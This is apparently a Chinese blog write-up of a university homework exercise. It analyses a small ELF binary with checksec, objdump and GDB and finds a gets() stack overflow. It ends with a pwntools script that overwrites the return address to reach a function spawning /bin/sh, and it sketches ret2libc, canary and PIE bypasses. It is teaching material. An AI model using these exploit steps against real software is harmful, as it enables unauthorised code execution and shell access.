1. 项目概述与背景最近在整理学习笔记翻到了之前在中国科学院大学国科大攻读相关学位时一门印象深刻的课程——《软件安全漏洞分析与发现》的作业。这门课是信息安全专业的核心课内容硬核从程序切片、污点分析到符号执行、模糊测试再到漏洞挖掘与利用覆盖了软件安全分析的前沿领域。作业自然也很有挑战性尤其是第一次作业的基础题部分它不像后面的实验那样有明确的漏洞程序让你去“砸”而是更侧重于建立分析思维和熟悉工具链。今天我就以“第一次作业基础题2”为例完整复盘一遍我当时以及现在作为从业者视角的分析过程。这道题本身可能就是一个简单的C程序但它的价值在于引导你走完一个标准的、可复用的静态与动态分析流程这对于任何想入门二进制安全、漏洞分析的同学来说都是一个绝佳的起点。这道题通常不会直接给你一个带有明显缓冲区溢出或格式化字符串漏洞的“靶子”它更像是一个引子让你去熟悉如何面对一个未知的二进制文件它是什么它做了什么它可能在哪里有问题我们需要用到的工具包括但不限于file、strings、objdump、GDB、strace等。这个过程其实就是安全研究员日常工作的一个微型缩影。无论你是正在修这门课的学生还是对软件安全分析感兴趣的爱好者跟着这个流程走一遍都能建立起对二进制程序分析最直观的认知。我会尽量还原每一步的操作、背后的思考以及那些容易踩坑的细节。2. 分析环境准备与目标确认工欲善其事必先利其器。在开始分析之前一个干净、可控的分析环境是必须的。我强烈建议使用虚拟机比如 VirtualBox 或 VMware安装一个 Linux 发行版Ubuntu 或 Kali Linux 都是不错的选择。这样做的好处是隔离性强即使分析过程中程序有恶意行为或崩溃也不会影响宿主机。另外一些分析工具在 Linux 下的生态更完善。2.1 工具链安装与配置首先我们需要安装一套基础的分析工具。在基于 Debian/Ubuntu 的系统上可以通过以下命令一键安装sudo apt update sudo apt install -y build-essential gdb gdb-multiarch strace ltrace binutils radare2 checksec这里简单解释一下每个工具的作用build-essential / gcc: 用于编译C程序有时我们需要自己编译一份带调试信息的版本来辅助分析。gdb / gdb-multiarch: GNU调试器动态分析的灵魂。gdb-multiarch支持更多架构如果题目涉及非x86架构如ARM、MIPS它会非常有用。strace / ltrace: 分别用于跟踪系统调用和库函数调用是理解程序运行时行为的利器。binutils: 包含objdump、readelf、strings、nm等工具用于静态分析。radare2: 一个功能强大的逆向工程框架可以作为objdump和GDB的补充提供更丰富的反汇编和二进制信息。checksec: 一个脚本用于快速检查二进制文件的安全属性如栈保护、地址空间布局随机化ASLR、位置无关可执行文件PIE等这对后续分析至关重要。注意不同Linux发行版的包管理器命令可能不同。确保你的虚拟机可以访问网络。如果题目二进制是静态链接的ltrace可能看不到库函数调用此时strace和反汇编分析会更重要。2.2 目标文件初步侦察假设老师提供的作业文件是一个名为basic2的二进制文件。我们首先将它放到分析目录下。第一步不是直接运行而是像法医检查证物一样先进行“外部体检”。1. 文件类型与基础信息file basic2这个命令会告诉我们basic2是32位还是64位ELF可执行文件是否动态链接是否被剥离stripped了符号表。例如输出可能是basic2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., not stripped。“not stripped”是个好消息意味着调试符号还在GDB中可以看到函数名和变量名分析难度大大降低。如果是“stripped”那就得靠反汇编和动态跟踪来推测函数功能了。2. 安全机制检查checksec --filebasic2或者使用rabin2 -I basic2(radare2 的命令)。这会输出类似下面的信息Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)RELRO保护全局偏移表GOT不被覆盖。Partial 是默认级别Full 更安全。Stack Canary栈溢出保护。No canary found意味着栈上没有“金丝雀”值存在栈溢出漏洞的可能性较大且利用起来相对简单。NX数据执行保护。NX enabled表示栈和堆上的数据不可执行这增加了利用难度通常需要配合ROP面向返回编程技术。PIE地址空间随机化。No PIE意味着代码段的基地址是固定的如0x400000这让我们在构造利用载荷时可以硬编码一些函数地址如system地址降低了利用复杂度。从这第一步我们已经能嗅到一些“味道”这是一个64位动态链接的非PIE程序没有栈保护Canary但开启了NX。这暗示着如果存在栈溢出漏洞利用方式很可能是经典的ret2libc或ROP。3. 字符串提取strings basic2 | lessstrings命令会提取二进制文件中所有可打印的字符串。这是快速了解程序功能的捷径。你可能会看到硬编码的路径如/home/ctf/flag。明显的提示信息如“Please input your name:”“Access Denied!”“Congratulations!”。可能被调用的库函数名或命令如/bin/shsystemcat。一些看起来像密码或密钥的字符串。仔细浏览这些字符串能对程序逻辑有一个初步的、模糊的猜想。3. 静态反汇编与核心逻辑分析在动态调试之前进行静态反汇编可以让我们对程序的整体结构和关键函数有一个宏观把握。我习惯先用objdump进行初步分析。3.1 反汇编与函数定位objdump -d basic2 basic2.asm这将反汇编结果保存到basic2.asm文件中方便用文本编辑器查看。如果程序没被剥离我们可以直接看到main函数objdump -d basic2 | grep -A 20 main:更有效的方法是结合readelf或nm查看符号表nm basic2 | grep -E (T|t) T代表在代码段定义的全局函数t代表局部函数。找到main后在反汇编文件中定位到其地址开始阅读汇编代码。3.2 关键函数与漏洞模式识别阅读main函数的汇编时要像侦探一样寻找可疑的“作案模式”。对于基础题常见的漏洞模式包括不安全的栈操作寻找对栈空间进行操作的指令特别是那些大小可能受用户输入控制的。sub rsp, 0xXX在栈上分配空间。如果分配的空间很小比如0x20但后面却向这个空间拷贝了很长的数据就可能溢出。lea rdi, [rbp-0xXX]计算栈上缓冲区的地址通常作为read、fgets、strcpy、scanf等函数的目标地址。call readplt或call getspltread函数如果第三个参数读取字节数控制不当gets函数本身就不检查边界都是高危函数。格式化字符串漏洞寻找printf、sprintf、fprintf等函数其第一个参数格式字符串是否直接或间接来自用户输入。例如mov rdi, rax; call printf而rax指向的是我们输入的缓冲区。整数溢出/符号错误寻找对用户输入的数值进行算术运算尤其是乘法、加法后用作内存分配大小或数组索引的地方。假设在我们的basic2.asm中main函数反汇编后关键部分如下为清晰起见已做简化注释0000000000401186 main: 401186: 55 push rbp 401187: 48 89 e5 mov rbp, rsp 40118a: 48 83 ec 30 sub rsp, 0x30 ; 在栈上分配了0x3048字节空间 ... (一些初始化代码) ... 40119c: 48 8d 45 d0 lea rax, [rbp-0x30] 4011a0: 48 89 c7 mov rdi, rax ; rdi rbp-0x30 (缓冲区地址) 4011a3: b8 00 00 00 00 mov eax, 0x0 4011a8: e8 a3 fe ff ff call 401050 getsplt ; 调用危险的gets函数 4011ad: 48 8d 45 d0 lea rax, [rbp-0x30] 4011b1: 48 89 c7 mov rdi, rax 4011b4: e8 87 fe ff ff call 401040 putsplt ; 打印我们输入的内容 ... (后续逻辑) ... 4011c2: c9 leave 4011c3: c3 ret分析程序在栈上分配了0x30字节但随后使用gets函数向地址rbp-0x30读取输入。gets函数会一直读取直到遇到换行符或EOF完全不检查目标缓冲区的大小。这意味着只要我们输入超过48字节0x30的数据就会覆盖rbp保存的帧指针以及更关键的——函数返回地址位于rbp8。结合之前checksec发现“No canary”这几乎坐实了存在一个经典的栈缓冲区溢出漏洞。实操心得在静态分析时不要试图理解每一行汇编。重点关注函数调用call指令和内存访问指令mov,lea到/从[rbp-...]或[rsp...]。结合checksec的结果可以快速判断漏洞类型和利用的大致方向。对于gets、strcpy、sprintf等危险函数要保持高度敏感。4. 动态调试与漏洞触发验证静态分析给了我们理论上的怀疑动态调试则是“实锤”的关键。我们将使用GDB来验证溢出点并精确计算偏移量。4.1 使用GDB进行基础调试首先用调试模式启动程序并设置一些方便查看的格式gdb -q ./basic2 (gdb) set disassembly-flavor intel ; 设置汇编语法为Intel格式个人习惯 (gdb) layout asm ; 开启汇编代码窗口TUI模式 (gdb) b *main ; 在main函数入口处下断点 (gdb) r ; 运行程序程序会在main函数开始处暂停。我们可以按n(nexti 单步执行指令) 或si(stepi 步入指令) 一步步执行直到call gets之前。4.2 计算精确偏移量为了构造有效的攻击载荷我们需要知道从我们输入的缓冲区起始地址到覆盖返回地址的精确字节数。最常用的方法是使用模式字符串Pattern。生成模式字符串在GDB外我们可以用pwntools的cyclic工具或者msf-pattern_create。# 如果安装了pwntools的python库 python3 -c from pwn import *; print(cyclic(200, n8)) pattern.txt # 或者使用系统自带的简单方法但不如cyclic精确 # 这里假设我们用cyclic生成一个200字节的8字节序列模式实际上在GDB中我们可以直接使用pwndbg或gef插件的命令如果安装了。为了通用性我们采用手动计算思路。触发崩溃并定位在GDB中让程序执行到gets然后输入一个超长的、易于辨认的字符串。一个简单粗暴的方法是输入一大堆“A”。(gdb) c Continuing.程序会等待输入。我们输入AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ输入后程序可能崩溃提示“Program received signal SIGSEGV, Segmentation fault.”。检查崩溃现场崩溃时查看RIP(指令指针寄存器) 的值。(gdb) i r rip rip 0x4949494949494949 0x49494949494949490x49是字母‘I’的ASCII码。这说明我们输入的字符串中的‘I’覆盖了返回地址导致CPU试图去地址0x4949494949494949执行指令这是一个非法地址引发段错误。计算偏移我们需要知道是第几个‘I’开始的。我们的模式是每8个字符一组。‘I’是第9个字母A1, B2, ..., I9。每组8字节所以偏移量是(9-1) * 8 64字节等等我们需要更精确。因为缓冲区从rbp-0x30开始返回地址在rbp8。所以偏移量应该是0x30 (缓冲区大小) 8 (保存的rbp) 56 字节十进制。让我们验证一下输入的前56字节应该填充缓冲区和保存的RBP第57-64字节会覆盖返回地址。在我们的测试字符串中第57-64字节是“HHHHHHHH”H是第8个字母ASCII 0x48。如果我们输入56个‘A’8个‘B’返回地址应该被覆盖为0x4242424242424242(‘B’)。我们来验证(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /path/to/basic2 Breakpoint 1, 0x0000000000401186 in main () (gdb) c Continuing. # 输入56个‘A’ 8个‘B’ 可以用python生成python3 -c “print(‘A’*56 ‘B’*8)” AAA...AABBBBBBBB (gdb) i r rip rip 0x4242424242424242 0x4242424242424242BingoRIP确实变成了0x4242424242424242。因此精确偏移量是56字节。这意味着我们的攻击载荷结构应该是[56字节填充数据] [8字节目标地址]。注意事项这里的56字节是基于rbp-0x30的假设。一定要用动态调试验证不同的编译器、不同的编译选项可能会导致栈布局有细微差别例如对齐。“保存的RBP”不一定总是紧挨着缓冲区但在这个简单例子中是。所以“动态验证”永远是金标准。4.3 探索程序其他路径与保护绕过在验证了溢出点后我们还需要看看程序的其他部分。比如main函数在gets和puts之后还有什么逻辑有没有其他函数比如一个win()函数或system(“/bin/sh”)的调用我们可以用objdump -d再看一下或者用info functions在GDB里查看。假设我们发现了一个名为secret_function的函数它的地址是0x401216并且这个函数内部调用了system(“/bin/sh”)。那么我们的利用目标就很明确了覆盖返回地址为0x401216跳转到这个函数获取shell。但是别忘了我们之前checksec看到NX enabled。这意味着即使我们跳转到secret_function它里面的代码也是可执行的在代码段所以没问题。如果程序中没有这样的“后门”函数我们就需要构造ROP链来调用system函数。这需要先泄露或计算libc的基地址找到system和字符串“/bin/sh”的地址。这属于更高级的技巧基础题可能不涉及。5. 漏洞利用脚本编写与测试分析完成接下来就是编写利用脚本Exploit。我习惯使用Python的pwntools库它极大地简化了与进程交互、打包数据等操作。5.1 利用脚本结构假设我们确认了偏移是56目标地址是secret_function的地址0x401216并且程序是64位。一个最简单的利用脚本exploit.py如下#!/usr/bin/env python3 from pwn import * # 设置上下文例如架构和日志级别 context(archamd64, oslinux, log_leveldebug) # 启动本地进程 p process(./basic2) # 或者远程连接如果是CTF题 # p remote(靶机地址, 端口号) # 构造载荷 offset 56 target_address 0x401216 # secret_function 的地址 # payload 填充数据 目标地址 # p64() 用于将整数打包为64位小端序字节串 payload bA * offset p64(target_address) # 发送载荷 p.sendline(payload) # 将交互权交给用户这样就可以操作得到的shell了 p.interactive()5.2 测试与调试运行脚本python3 exploit.py如果成功你应该会看到一个新的shell提示符可能是$或#这意味着你利用了漏洞并执行了secret_function获得了 shell 权限。常见问题与排查脚本运行后程序崩溃但没有得到shell检查偏移量再用GDB附加进程验证一下。可以在脚本中加入pause()或在GDB中用attach pid附加到运行中的脚本进程。检查地址对齐64位系统要求栈地址16字节对齐。有时直接跳转到函数开头会导致movaps指令崩溃。可以尝试跳转到函数开头稍后的位置如target_address 一些偏移或者确保在覆盖返回地址前RSP是16字节对齐的。一个常见的技巧是在目标地址前加一个ret指令的地址ROPgadget工具可以找到这可以调整栈对齐。检查函数调用约定确认secret_function是否需要参数。如果需要需要在返回地址后面布置参数。程序有输入验证或奇怪的逻辑动态跟踪一下看看在我们溢出之后程序是否执行了其他代码比如另一个printf或strlen才崩溃。这些代码可能会破坏我们的载荷。可能需要调整填充数据的内容避免出现坏字符如\x00空字节、\x0a换行、\x0d回车等这些字符可能会被某些函数如strcpy,strlen截断。远程利用不成功本地和远程的libc版本可能不同导致函数地址偏移不一样。需要先通过信息泄露如利用puts打印GOT表中的地址计算出远程libc的基地址然后再计算system等函数的实际地址。这就是所谓的ret2libc攻击。5.3 基础题之外的扩展思考对于这道基础题利用可能就到此为止了。但在实际漏洞分析或更高级的课程作业中你可能会遇到Canary 绕过如果栈有 Canary你需要先泄露 Canary 的值然后在填充时正确复现它。PIE 绕过如果程序是 PIE 的代码段地址随机化。你需要先泄露一个代码段内的地址比如puts的GOT表项内容或者main的返回地址计算出基地址然后才能得到目标函数的实际地址。ROP 链构造当没有现成的system(“/bin/sh”)时需要自己组装ROP链将参数放入正确的寄存器rdi,rsi,rdx...然后调用system。堆漏洞题目可能涉及use-after-free、double free、heap overflow等这就需要完全不同的分析工具和方法如ltrace跟踪内存分配gef的heap命令等。6. 总结与复盘从作业到实战的思维跃迁完成这道基础题的分析与利用其意义远不止解出一道题目。它完整地演练了一个最简单的漏洞分析生命周期信息收集 - 静态分析 - 动态验证 - 利用开发。在这个过程中有几个思维习惯至关重要第一假设验证思维。静态分析时看到gets我们“假设”有栈溢出。checksec看到No canary我们“强化”了这个假设。但最终必须用动态调试去“验证”它精确计算偏移。安全分析切忌想当然。第二环境与工具意识。为什么用虚拟机为什么装这一套工具checksec为什么要在第一步做这些选择背后都是对效率和安全性的考量。在实际工作中面对一个未知的恶意软件或漏洞报告搭建一个隔离、可还原的分析环境是第一步也是保障自身安全的关键。第三对“正常”与“异常”的敏感度。什么是正常函数正常返回是正常。什么是异常RIP寄存器变成了我们可控的数据是异常。程序崩溃在0x4141414141414141是异常。这种敏感度来自于对计算机系统工作原理特别是调用栈、函数调用约定的深刻理解以及大量的练习。第四利用链的思维。即使找到了溢出点如何将控制流导向我们想要的目标这需要你理解程序的完整内存布局哪些地址是固定的哪些是随机的理解系统的防护机制NX, ASLR, RELRO等并找到绕过或利用它们的方法。从直接跳转到后门函数到ret2libc再到复杂的ROP这是一个逻辑递进的过程。回到这道国科大的作业题它可能只要求你分析出漏洞类型和偏移量。但如果你能沿着上述思路自己写出利用脚本并拿到shell那你的收获将是加倍的。软件安全漏洞分析是一门实践性极强的学科光看理论永远学不会。最好的学习方法就是像这样找一个简单的目标亲手把它拆开、摸透把每一个步骤都弄明白为什么。当你对栈溢出烂熟于心后再去挑战格式化字符串、堆漏洞、内核漏洞你会发现底层逻辑是相通的都是对程序状态内存、寄存器、控制流的非法操纵。而你的武器就是对这些状态细致入微的观察力和精准的控制力。
